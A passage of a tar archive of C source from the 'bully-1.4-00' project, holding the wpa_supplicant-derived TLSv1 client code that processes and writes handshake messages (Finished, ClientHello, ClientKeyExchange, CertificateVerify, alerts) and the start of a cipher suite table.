wpa_printf(MSG_DEBUG, "TLSv1: Failed to change read cipher "
"for record layer");
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
return -1;
}
*in_len = pos + 1 - in_data;
conn->state = SERVER_FINISHED;
return 0;
}
static int tls_process_server_finished(struct tlsv1_client *conn, u8 ct,
const u8 *in_data, size_t *in_len)
{
const u8 *pos, *end;
size_t left, len, hlen;
u8 verify_data[TLS_VERIFY_DATA_LEN];
u8 hash[MD5_MAC_LEN + SHA1_MAC_LEN];
if (ct != TLS_CONTENT_TYPE_HANDSHAKE) {
wpa_printf(MSG_DEBUG, "TLSv1: Expected Finished; "
"received content type 0x%x", ct);
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_UNEXPECTED_MESSAGE);
return -1;
}
pos = in_data;
left = *in_len;
if (left < 4) {
wpa_printf(MSG_DEBUG, "TLSv1: Too short record (left=%lu) for "
"Finished",
(unsigned long) left);
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_DECODE_ERROR);
return -1;
}
if (pos[0] != TLS_HANDSHAKE_TYPE_FINISHED) {
wpa_printf(MSG_DEBUG, "TLSv1: Expected Finished; received "
"type 0x%x", pos[0]);
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_UNEXPECTED_MESSAGE);
return -1;
}
len = WPA_GET_BE24(pos + 1);
pos += 4;
left -= 4;
if (len > left) {
wpa_printf(MSG_DEBUG, "TLSv1: Too short buffer for Finished "
"(len=%lu > left=%lu)",
(unsigned long) len, (unsigned long) left);
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_DECODE_ERROR);
return -1;
}
end = pos + len;
if (len != TLS_VERIFY_DATA_LEN) {
wpa_printf(MSG_DEBUG, "TLSv1: Unexpected verify_data length "
"in Finished: %lu (expected %d)",
(unsigned long) len, TLS_VERIFY_DATA_LEN);
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_DECODE_ERROR);
return -1;
}
wpa_hexdump(MSG_MSGDUMP, "TLSv1: verify_data in Finished",
pos, TLS_VERIFY_DATA_LEN);
hlen = MD5_MAC_LEN;
if (conn->verify.md5_server == NULL ||
crypto_hash_finish(conn->verify.md5_server, hash, &hlen) < 0) {
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
conn->verify.md5_server = NULL;
crypto_hash_finish(conn->verify.sha1_server, NULL, NULL);
conn->verify.sha1_server = NULL;
return -1;
}
conn->verify.md5_server = NULL;
hlen = SHA1_MAC_LEN;
if (conn->verify.sha1_server == NULL ||
crypto_hash_finish(conn->verify.sha1_server, hash + MD5_MAC_LEN,
&hlen) < 0) {
conn->verify.sha1_server = NULL;
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
return -1;
}
conn->verify.sha1_server = NULL;
if (tls_prf(conn->master_secret, TLS_MASTER_SECRET_LEN,
"server finished", hash, MD5_MAC_LEN + SHA1_MAC_LEN,
verify_data, TLS_VERIFY_DATA_LEN)) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive verify_data");
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_DECRYPT_ERROR);
return -1;
}
wpa_hexdump_key(MSG_DEBUG, "TLSv1: verify_data (server)",
verify_data, TLS_VERIFY_DATA_LEN);
if (os_memcmp(pos, verify_data, TLS_VERIFY_DATA_LEN) != 0) {
wpa_printf(MSG_INFO, "TLSv1: Mismatch in verify_data");
return -1;
}
wpa_printf(MSG_DEBUG, "TLSv1: Received Finished");
*in_len = end - in_data;
conn->state = (conn->session_resumed || conn->use_session_ticket) ?
CHANGE_CIPHER_SPEC : ACK_FINISHED;
return 0;
}
static int tls_process_application_data(struct tlsv1_client *conn, u8 ct,
const u8 *in_data, size_t *in_len,
u8 **out_data, size_t *out_len)
{
const u8 *pos;
size_t left;
if (ct != TLS_CONTENT_TYPE_APPLICATION_DATA) {
wpa_printf(MSG_DEBUG, "TLSv1: Expected Application Data; "
"received content type 0x%x", ct);
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_UNEXPECTED_MESSAGE);
return -1;
}
pos = in_data;
left = *in_len;
wpa_hexdump(MSG_DEBUG, "TLSv1: Application Data included in Handshake",
pos, left);
*out_data = os_malloc(left);
if (*out_data) {
os_memcpy(*out_data, pos, left);
*out_len = left;
}
return 0;
}
int tlsv1_client_process_handshake(struct tlsv1_client *conn, u8 ct,
const u8 *buf, size_t *len,
u8 **out_data, size_t *out_len)
{
if (ct == TLS_CONTENT_TYPE_ALERT) {
if (*len < 2) {
wpa_printf(MSG_DEBUG, "TLSv1: Alert underflow");
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_DECODE_ERROR);
return -1;
}
wpa_printf(MSG_DEBUG, "TLSv1: Received alert %d:%d",
buf[0], buf[1]);
*len = 2;
conn->state = FAILED;
return -1;
}
if (ct == TLS_CONTENT_TYPE_HANDSHAKE && *len >= 4 &&
buf[0] == TLS_HANDSHAKE_TYPE_HELLO_REQUEST) {
size_t hr_len = WPA_GET_BE24(buf + 1);
if (hr_len > *len - 4) {
wpa_printf(MSG_DEBUG, "TLSv1: HelloRequest underflow");
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_DECODE_ERROR);
return -1;
}
wpa_printf(MSG_DEBUG, "TLSv1: Ignored HelloRequest");
*len = 4 + hr_len;
return 0;
}
switch (conn->state) {
case SERVER_HELLO:
if (tls_process_server_hello(conn, ct, buf, len))
return -1;
break;
case SERVER_CERTIFICATE:
if (tls_process_certificate(conn, ct, buf, len))
return -1;
break;
case SERVER_KEY_EXCHANGE:
if (tls_process_server_key_exchange(conn, ct, buf, len))
return -1;
break;
case SERVER_CERTIFICATE_REQUEST:
if (tls_process_certificate_request(conn, ct, buf, len))
return -1;
break;
case SERVER_HELLO_DONE:
if (tls_process_server_hello_done(conn, ct, buf, len))
return -1;
break;
case SERVER_CHANGE_CIPHER_SPEC:
if (tls_process_server_change_cipher_spec(conn, ct, buf, len))
return -1;
break;
case SERVER_FINISHED:
if (tls_process_server_finished(conn, ct, buf, len))
return -1;
break;
case ACK_FINISHED:
if (out_data &&
tls_process_application_data(conn, ct, buf, len, out_data,
out_len))
return -1;
break;
default:
wpa_printf(MSG_DEBUG, "TLSv1: Unexpected state %d "
"while processing received message",
conn->state);
return -1;
}
if (ct == TLS_CONTENT_TYPE_HANDSHAKE)
tls_verify_hash_add(&conn->verify, buf, *len);
return 0;
}
bully-1.4-00/src/tls/tlsv1_client_write.c 0000775 0000000 0000000 00000050001 13615304636 0020306 0 ustar 00root root 0000000 0000000 /*
* TLSv1 client - write handshake message
* Copyright (c) 2006-2007, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "crypto/md5.h"
#include "crypto/sha1.h"
#include "crypto/tls.h"
#include "x509v3.h"
#include "tlsv1_common.h"
#include "tlsv1_record.h"
#include "tlsv1_client.h"
#include "tlsv1_client_i.h"
static size_t tls_client_cert_chain_der_len(struct tlsv1_client *conn)
{
size_t len = 0;
struct x509_certificate *cert;
if (conn->cred == NULL)
return 0;
cert = conn->cred->cert;
while (cert) {
len += 3 + cert->cert_len;
if (x509_certificate_self_signed(cert))
break;
cert = x509_certificate_get_subject(conn->cred->trusted_certs,
&cert->issuer);
}
return len;
}
u8 * tls_send_client_hello(struct tlsv1_client *conn, size_t *out_len)
{
u8 *hello, *end, *pos, *hs_length, *hs_start, *rhdr;
struct os_time now;
size_t len, i;
wpa_printf(MSG_DEBUG, "TLSv1: Send ClientHello");
*out_len = 0;
os_get_time(&now);
WPA_PUT_BE32(conn->client_random, now.sec);
if (os_get_random(conn->client_random + 4, TLS_RANDOM_LEN - 4)) {
wpa_printf(MSG_ERROR, "TLSv1: Could not generate "
"client_random");
return NULL;
}
wpa_hexdump(MSG_MSGDUMP, "TLSv1: client_random",
conn->client_random, TLS_RANDOM_LEN);
len = 100 + conn->num_cipher_suites * 2 + conn->client_hello_ext_len;
hello = os_malloc(len);
if (hello == NULL)
return NULL;
end = hello + len;
rhdr = hello;
pos = rhdr + TLS_RECORD_HEADER_LEN;
/* opaque fragment[TLSPlaintext.length] */
/* Handshake */
hs_start = pos;
/* HandshakeType msg_type */
*pos++ = TLS_HANDSHAKE_TYPE_CLIENT_HELLO;
/* uint24 length (to be filled) */
hs_length = pos;
pos += 3;
/* body - ClientHello */
/* ProtocolVersion client_version */
WPA_PUT_BE16(pos, TLS_VERSION);
pos += 2;
/* Random random: uint32 gmt_unix_time, opaque random_bytes */
os_memcpy(pos, conn->client_random, TLS_RANDOM_LEN);
pos += TLS_RANDOM_LEN;
/* SessionID session_id */
*pos++ = conn->session_id_len;
os_memcpy(pos, conn->session_id, conn->session_id_len);
pos += conn->session_id_len;
/* CipherSuite cipher_suites<2..2^16-1> */
WPA_PUT_BE16(pos, 2 * conn->num_cipher_suites);
pos += 2;
for (i = 0; i < conn->num_cipher_suites; i++) {
WPA_PUT_BE16(pos, conn->cipher_suites[i]);
pos += 2;
}
/* CompressionMethod compression_methods<1..2^8-1> */
*pos++ = 1;
*pos++ = TLS_COMPRESSION_NULL;
if (conn->client_hello_ext) {
os_memcpy(pos, conn->client_hello_ext,
conn->client_hello_ext_len);
pos += conn->client_hello_ext_len;
}
WPA_PUT_BE24(hs_length, pos - hs_length - 3);
tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start);
if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE,
rhdr, end - rhdr, pos - hs_start, out_len) < 0) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to create TLS record");
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
os_free(hello);
return NULL;
}
conn->state = SERVER_HELLO;
return hello;
}
static int tls_write_client_certificate(struct tlsv1_client *conn,
u8 **msgpos, u8 *end)
{
u8 *pos, *rhdr, *hs_start, *hs_length, *cert_start;
size_t rlen;
struct x509_certificate *cert;
pos = *msgpos;
wpa_printf(MSG_DEBUG, "TLSv1: Send Certificate");
rhdr = pos;
pos += TLS_RECORD_HEADER_LEN;
/* opaque fragment[TLSPlaintext.length] */
/* Handshake */
hs_start = pos;
/* HandshakeType msg_type */
*pos++ = TLS_HANDSHAKE_TYPE_CERTIFICATE;
/* uint24 length (to be filled) */
hs_length = pos;
pos += 3;
/* body - Certificate */
/* uint24 length (to be filled) */
cert_start = pos;
pos += 3;
cert = conn->cred ? conn->cred->cert : NULL;
while (cert) {
if (pos + 3 + cert->cert_len > end) {
wpa_printf(MSG_DEBUG, "TLSv1: Not enough buffer space "
"for Certificate (cert_len=%lu left=%lu)",
(unsigned long) cert->cert_len,
(unsigned long) (end - pos));
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
return -1;
}
WPA_PUT_BE24(pos, cert->cert_len);
pos += 3;
os_memcpy(pos, cert->cert_start, cert->cert_len);
pos += cert->cert_len;
if (x509_certificate_self_signed(cert))
break;
cert = x509_certificate_get_subject(conn->cred->trusted_certs,
&cert->issuer);
}
if (conn->cred == NULL || cert == conn->cred->cert || cert == NULL) {
/*
* Client was not configured with all the needed certificates
* to form a full certificate chain. The server may fail to
* validate the chain unless it is configured with all the
* missing CA certificates.
*/
wpa_printf(MSG_DEBUG, "TLSv1: Full client certificate chain "
"not configured - validation may fail");
}
WPA_PUT_BE24(cert_start, pos - cert_start - 3);
WPA_PUT_BE24(hs_length, pos - hs_length - 3);
if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE,
rhdr, end - rhdr, pos - hs_start, &rlen) < 0) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to generate a record");
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
return -1;
}
pos = rhdr + rlen;
tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start);
*msgpos = pos;
return 0;
}
static int tlsv1_key_x_anon_dh(struct tlsv1_client *conn, u8 **pos, u8 *end)
{
/* ClientDiffieHellmanPublic */
u8 *csecret, *csecret_start, *dh_yc, *shared;
size_t csecret_len, dh_yc_len, shared_len;
csecret_len = conn->dh_p_len;
csecret = os_malloc(csecret_len);
if (csecret == NULL) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to allocate "
"memory for Yc (Diffie-Hellman)");
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
return -1;
}
if (os_get_random(csecret, csecret_len)) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to get random "
"data for Diffie-Hellman");
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
os_free(csecret);
return -1;
}
if (os_memcmp(csecret, conn->dh_p, csecret_len) > 0)
csecret[0] = 0; /* make sure Yc < p */
csecret_start = csecret;
while (csecret_len > 1 && *csecret_start == 0) {
csecret_start++;
csecret_len--;
}
wpa_hexdump_key(MSG_DEBUG, "TLSv1: DH client's secret value",
csecret_start, csecret_len);
/* Yc = g^csecret mod p */
dh_yc_len = conn->dh_p_len;
dh_yc = os_malloc(dh_yc_len);
if (dh_yc == NULL) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to allocate "
"memory for Diffie-Hellman");
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
os_free(csecret);
return -1;
}
if (crypto_mod_exp(conn->dh_g, conn->dh_g_len,
csecret_start, csecret_len,
conn->dh_p, conn->dh_p_len,
dh_yc, &dh_yc_len)) {
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
os_free(csecret);
os_free(dh_yc);
return -1;
}
wpa_hexdump(MSG_DEBUG, "TLSv1: DH Yc (client's public value)",
dh_yc, dh_yc_len);
WPA_PUT_BE16(*pos, dh_yc_len);
*pos += 2;
if (*pos + dh_yc_len > end) {
wpa_printf(MSG_DEBUG, "TLSv1: Not enough room in the "
"message buffer for Yc");
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
os_free(csecret);
os_free(dh_yc);
return -1;
}
os_memcpy(*pos, dh_yc, dh_yc_len);
*pos += dh_yc_len;
os_free(dh_yc);
shared_len = conn->dh_p_len;
shared = os_malloc(shared_len);
if (shared == NULL) {
wpa_printf(MSG_DEBUG, "TLSv1: Could not allocate memory for "
"DH");
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
os_free(csecret);
return -1;
}
/* shared = Ys^csecret mod p */
if (crypto_mod_exp(conn->dh_ys, conn->dh_ys_len,
csecret_start, csecret_len,
conn->dh_p, conn->dh_p_len,
shared, &shared_len)) {
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
os_free(csecret);
os_free(shared);
return -1;
}
wpa_hexdump_key(MSG_DEBUG, "TLSv1: Shared secret from DH key exchange",
shared, shared_len);
os_memset(csecret_start, 0, csecret_len);
os_free(csecret);
if (tls_derive_keys(conn, shared, shared_len)) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive keys");
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
os_free(shared);
return -1;
}
os_memset(shared, 0, shared_len);
os_free(shared);
tlsv1_client_free_dh(conn);
return 0;
}
static int tlsv1_key_x_rsa(struct tlsv1_client *conn, u8 **pos, u8 *end)
{
u8 pre_master_secret[TLS_PRE_MASTER_SECRET_LEN];
size_t clen;
int res;
if (tls_derive_pre_master_secret(pre_master_secret) < 0 ||
tls_derive_keys(conn, pre_master_secret,
TLS_PRE_MASTER_SECRET_LEN)) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive keys");
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
return -1;
}
/* EncryptedPreMasterSecret */
if (conn->server_rsa_key == NULL) {
wpa_printf(MSG_DEBUG, "TLSv1: No server RSA key to "
"use for encrypting pre-master secret");
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
return -1;
}
/* RSA encrypted value is encoded with PKCS #1 v1.5 block type 2. */
*pos += 2;
clen = end - *pos;
res = crypto_public_key_encrypt_pkcs1_v15(
conn->server_rsa_key,
pre_master_secret, TLS_PRE_MASTER_SECRET_LEN,
*pos, &clen);
os_memset(pre_master_secret, 0, TLS_PRE_MASTER_SECRET_LEN);
if (res < 0) {
wpa_printf(MSG_DEBUG, "TLSv1: RSA encryption failed");
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
return -1;
}
WPA_PUT_BE16(*pos - 2, clen);
wpa_hexdump(MSG_MSGDUMP, "TLSv1: Encrypted pre_master_secret",
*pos, clen);
*pos += clen;
return 0;
}
static int tls_write_client_key_exchange(struct tlsv1_client *conn,
u8 **msgpos, u8 *end)
{
u8 *pos, *rhdr, *hs_start, *hs_length;
size_t rlen;
tls_key_exchange keyx;
const struct tls_cipher_suite *suite;
suite = tls_get_cipher_suite(conn->rl.cipher_suite);
if (suite == NULL)
keyx = TLS_KEY_X_NULL;
else
keyx = suite->key_exchange;
pos = *msgpos;
wpa_printf(MSG_DEBUG, "TLSv1: Send ClientKeyExchange");
rhdr = pos;
pos += TLS_RECORD_HEADER_LEN;
/* opaque fragment[TLSPlaintext.length] */
/* Handshake */
hs_start = pos;
/* HandshakeType msg_type */
*pos++ = TLS_HANDSHAKE_TYPE_CLIENT_KEY_EXCHANGE;
/* uint24 length (to be filled) */
hs_length = pos;
pos += 3;
/* body - ClientKeyExchange */
if (keyx == TLS_KEY_X_DH_anon) {
if (tlsv1_key_x_anon_dh(conn, &pos, end) < 0)
return -1;
} else {
if (tlsv1_key_x_rsa(conn, &pos, end) < 0)
return -1;
}
WPA_PUT_BE24(hs_length, pos - hs_length - 3);
if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE,
rhdr, end - rhdr, pos - hs_start, &rlen) < 0) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to create a record");
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
return -1;
}
pos = rhdr + rlen;
tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start);
*msgpos = pos;
return 0;
}
static int tls_write_client_certificate_verify(struct tlsv1_client *conn,
u8 **msgpos, u8 *end)
{
u8 *pos, *rhdr, *hs_start, *hs_length, *signed_start;
size_t rlen, hlen, clen;
u8 hash[MD5_MAC_LEN + SHA1_MAC_LEN], *hpos;
enum { SIGN_ALG_RSA, SIGN_ALG_DSA } alg = SIGN_ALG_RSA;
pos = *msgpos;
wpa_printf(MSG_DEBUG, "TLSv1: Send CertificateVerify");
rhdr = pos;
pos += TLS_RECORD_HEADER_LEN;
/* Handshake */
hs_start = pos;
/* HandshakeType msg_type */
*pos++ = TLS_HANDSHAKE_TYPE_CERTIFICATE_VERIFY;
/* uint24 length (to be filled) */
hs_length = pos;
pos += 3;
/*
* RFC 2246: 7.4.3 and 7.4.8:
* Signature signature
*
* RSA:
* digitally-signed struct {
* opaque md5_hash[16];
* opaque sha_hash[20];
* };
*
* DSA:
* digitally-signed struct {
* opaque sha_hash[20];
* };
*
* The hash values are calculated over all handshake messages sent or
* received starting at ClientHello up to, but not including, this
* CertificateVerify message, including the type and length fields of
* the handshake messages.
*/
hpos = hash;
if (alg == SIGN_ALG_RSA) {
hlen = MD5_MAC_LEN;
if (conn->verify.md5_cert == NULL ||
crypto_hash_finish(conn->verify.md5_cert, hpos, &hlen) < 0)
{
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
conn->verify.md5_cert = NULL;
crypto_hash_finish(conn->verify.sha1_cert, NULL, NULL);
conn->verify.sha1_cert = NULL;
return -1;
}
hpos += MD5_MAC_LEN;
} else
crypto_hash_finish(conn->verify.md5_cert, NULL, NULL);
conn->verify.md5_cert = NULL;
hlen = SHA1_MAC_LEN;
if (conn->verify.sha1_cert == NULL ||
crypto_hash_finish(conn->verify.sha1_cert, hpos, &hlen) < 0) {
conn->verify.sha1_cert = NULL;
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
return -1;
}
conn->verify.sha1_cert = NULL;
if (alg == SIGN_ALG_RSA)
hlen += MD5_MAC_LEN;
wpa_hexdump(MSG_MSGDUMP, "TLSv1: CertificateVerify hash", hash, hlen);
/*
* RFC 2246, 4.7:
* In digital signing, one-way hash functions are used as input for a
* signing algorithm. A digitally-signed element is encoded as an
* opaque vector <0..2^16-1>, where the length is specified by the
* signing algorithm and key.
*
* In RSA signing, a 36-byte structure of two hashes (one SHA and one
* MD5) is signed (encrypted with the private key). It is encoded with
* PKCS #1 block type 0 or type 1 as described in [PKCS1].
*/
signed_start = pos; /* length to be filled */
pos += 2;
clen = end - pos;
if (conn->cred == NULL ||
crypto_private_key_sign_pkcs1(conn->cred->key, hash, hlen,
pos, &clen) < 0) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to sign hash (PKCS #1)");
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
return -1;
}
WPA_PUT_BE16(signed_start, clen);
pos += clen;
WPA_PUT_BE24(hs_length, pos - hs_length - 3);
if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE,
rhdr, end - rhdr, pos - hs_start, &rlen) < 0) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to generate a record");
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
return -1;
}
pos = rhdr + rlen;
tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start);
*msgpos = pos;
return 0;
}
static int tls_write_client_change_cipher_spec(struct tlsv1_client *conn,
u8 **msgpos, u8 *end)
{
u8 *pos, *rhdr;
size_t rlen;
pos = *msgpos;
wpa_printf(MSG_DEBUG, "TLSv1: Send ChangeCipherSpec");
rhdr = pos;
pos += TLS_RECORD_HEADER_LEN;
*pos = TLS_CHANGE_CIPHER_SPEC;
if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_CHANGE_CIPHER_SPEC,
rhdr, end - rhdr, 1, &rlen) < 0) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to create a record");
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
return -1;
}
if (tlsv1_record_change_write_cipher(&conn->rl) < 0) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to set write cipher for "
"record layer");
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
return -1;
}
*msgpos = rhdr + rlen;
return 0;
}
static int tls_write_client_finished(struct tlsv1_client *conn,
u8 **msgpos, u8 *end)
{
u8 *pos, *rhdr, *hs_start, *hs_length;
size_t rlen, hlen;
u8 verify_data[TLS_VERIFY_DATA_LEN];
u8 hash[MD5_MAC_LEN + SHA1_MAC_LEN];
pos = *msgpos;
wpa_printf(MSG_DEBUG, "TLSv1: Send Finished");
/* Encrypted Handshake Message: Finished */
hlen = MD5_MAC_LEN;
if (conn->verify.md5_client == NULL ||
crypto_hash_finish(conn->verify.md5_client, hash, &hlen) < 0) {
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
conn->verify.md5_client = NULL;
crypto_hash_finish(conn->verify.sha1_client, NULL, NULL);
conn->verify.sha1_client = NULL;
return -1;
}
conn->verify.md5_client = NULL;
hlen = SHA1_MAC_LEN;
if (conn->verify.sha1_client == NULL ||
crypto_hash_finish(conn->verify.sha1_client, hash + MD5_MAC_LEN,
&hlen) < 0) {
conn->verify.sha1_client = NULL;
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
return -1;
}
conn->verify.sha1_client = NULL;
if (tls_prf(conn->master_secret, TLS_MASTER_SECRET_LEN,
"client finished", hash, MD5_MAC_LEN + SHA1_MAC_LEN,
verify_data, TLS_VERIFY_DATA_LEN)) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to generate verify_data");
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
return -1;
}
wpa_hexdump_key(MSG_DEBUG, "TLSv1: verify_data (client)",
verify_data, TLS_VERIFY_DATA_LEN);
rhdr = pos;
pos += TLS_RECORD_HEADER_LEN;
/* Handshake */
hs_start = pos;
/* HandshakeType msg_type */
*pos++ = TLS_HANDSHAKE_TYPE_FINISHED;
/* uint24 length (to be filled) */
hs_length = pos;
pos += 3;
os_memcpy(pos, verify_data, TLS_VERIFY_DATA_LEN);
pos += TLS_VERIFY_DATA_LEN;
WPA_PUT_BE24(hs_length, pos - hs_length - 3);
tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start);
if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE,
rhdr, end - rhdr, pos - hs_start, &rlen) < 0) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to create a record");
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
return -1;
}
pos = rhdr + rlen;
*msgpos = pos;
return 0;
}
static u8 * tls_send_client_key_exchange(struct tlsv1_client *conn,
size_t *out_len)
{
u8 *msg, *end, *pos;
size_t msglen;
*out_len = 0;
msglen = 1000;
if (conn->certificate_requested)
msglen += tls_client_cert_chain_der_len(conn);
msg = os_malloc(msglen);
if (msg == NULL)
return NULL;
pos = msg;
end = msg + msglen;
if (conn->certificate_requested) {
if (tls_write_client_certificate(conn, &pos, end) < 0) {
os_free(msg);
return NULL;
}
}
if (tls_write_client_key_exchange(conn, &pos, end) < 0 ||
(conn->certificate_requested && conn->cred && conn->cred->key &&
tls_write_client_certificate_verify(conn, &pos, end) < 0) ||
tls_write_client_change_cipher_spec(conn, &pos, end) < 0 ||
tls_write_client_finished(conn, &pos, end) < 0) {
os_free(msg);
return NULL;
}
*out_len = pos - msg;
conn->state = SERVER_CHANGE_CIPHER_SPEC;
return msg;
}
static u8 * tls_send_change_cipher_spec(struct tlsv1_client *conn,
size_t *out_len)
{
u8 *msg, *end, *pos;
*out_len = 0;
msg = os_malloc(1000);
if (msg == NULL)
return NULL;
pos = msg;
end = msg + 1000;
if (tls_write_client_change_cipher_spec(conn, &pos, end) < 0 ||
tls_write_client_finished(conn, &pos, end) < 0) {
os_free(msg);
return NULL;
}
*out_len = pos - msg;
wpa_printf(MSG_DEBUG, "TLSv1: Session resumption completed "
"successfully");
conn->state = ESTABLISHED;
return msg;
}
u8 * tlsv1_client_handshake_write(struct tlsv1_client *conn, size_t *out_len,
int no_appl_data)
{
switch (conn->state) {
case CLIENT_KEY_EXCHANGE:
return tls_send_client_key_exchange(conn, out_len);
case CHANGE_CIPHER_SPEC:
return tls_send_change_cipher_spec(conn, out_len);
case ACK_FINISHED:
wpa_printf(MSG_DEBUG, "TLSv1: Handshake completed "
"successfully");
conn->state = ESTABLISHED;
*out_len = 0;
if (no_appl_data) {
/* Need to return something to get final TLS ACK. */
return os_malloc(1);
}
return NULL;
default:
wpa_printf(MSG_DEBUG, "TLSv1: Unexpected state %d while "
"generating reply", conn->state);
return NULL;
}
}
u8 * tlsv1_client_send_alert(struct tlsv1_client *conn, u8 level,
u8 description, size_t *out_len)
{
u8 *alert, *pos, *length;
wpa_printf(MSG_DEBUG, "TLSv1: Send Alert(%d:%d)", level, description);
*out_len = 0;
alert = os_malloc(10);
if (alert == NULL)
return NULL;
pos = alert;
/* TLSPlaintext */
/* ContentType type */
*pos++ = TLS_CONTENT_TYPE_ALERT;
/* ProtocolVersion version */
WPA_PUT_BE16(pos, TLS_VERSION);
pos += 2;
/* uint16 length (to be filled) */
length = pos;
pos += 2;
/* opaque fragment[TLSPlaintext.length] */
/* Alert */
/* AlertLevel level */
*pos++ = level;
/* AlertDescription description */
*pos++ = description;
WPA_PUT_BE16(length, pos - length - 2);
*out_len = pos - alert;
return alert;
}
bully-1.4-00/src/tls/tlsv1_common.c 0000775 0000000 0000000 00000016521 13615304636 0017117 0 ustar 00root root 0000000 0000000 /*
* TLSv1 common routines
* Copyright (c) 2006-2007, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "x509v3.h"
#include "tlsv1_common.h"
/*
* TODO:
* RFC 2246 Section 9: Mandatory to implement TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA
* Add support for commonly used cipher suites; don't bother with exportable
* suites.
*/
static const struct tls_cipher_suite tls_cipher_suites[] = {
{ TLS_NULL_WITH_NULL_NULL, TLS_KEY_X_NULL, TLS_CIPHER_NULL,
TLS_HASH_NULL },
{ TLS_RSA_WITH_RC4_128_MD5, TLS_KEY_X_RSA, TLS_CIPHER_RC4_128,
TLS_HASH_MD5 },
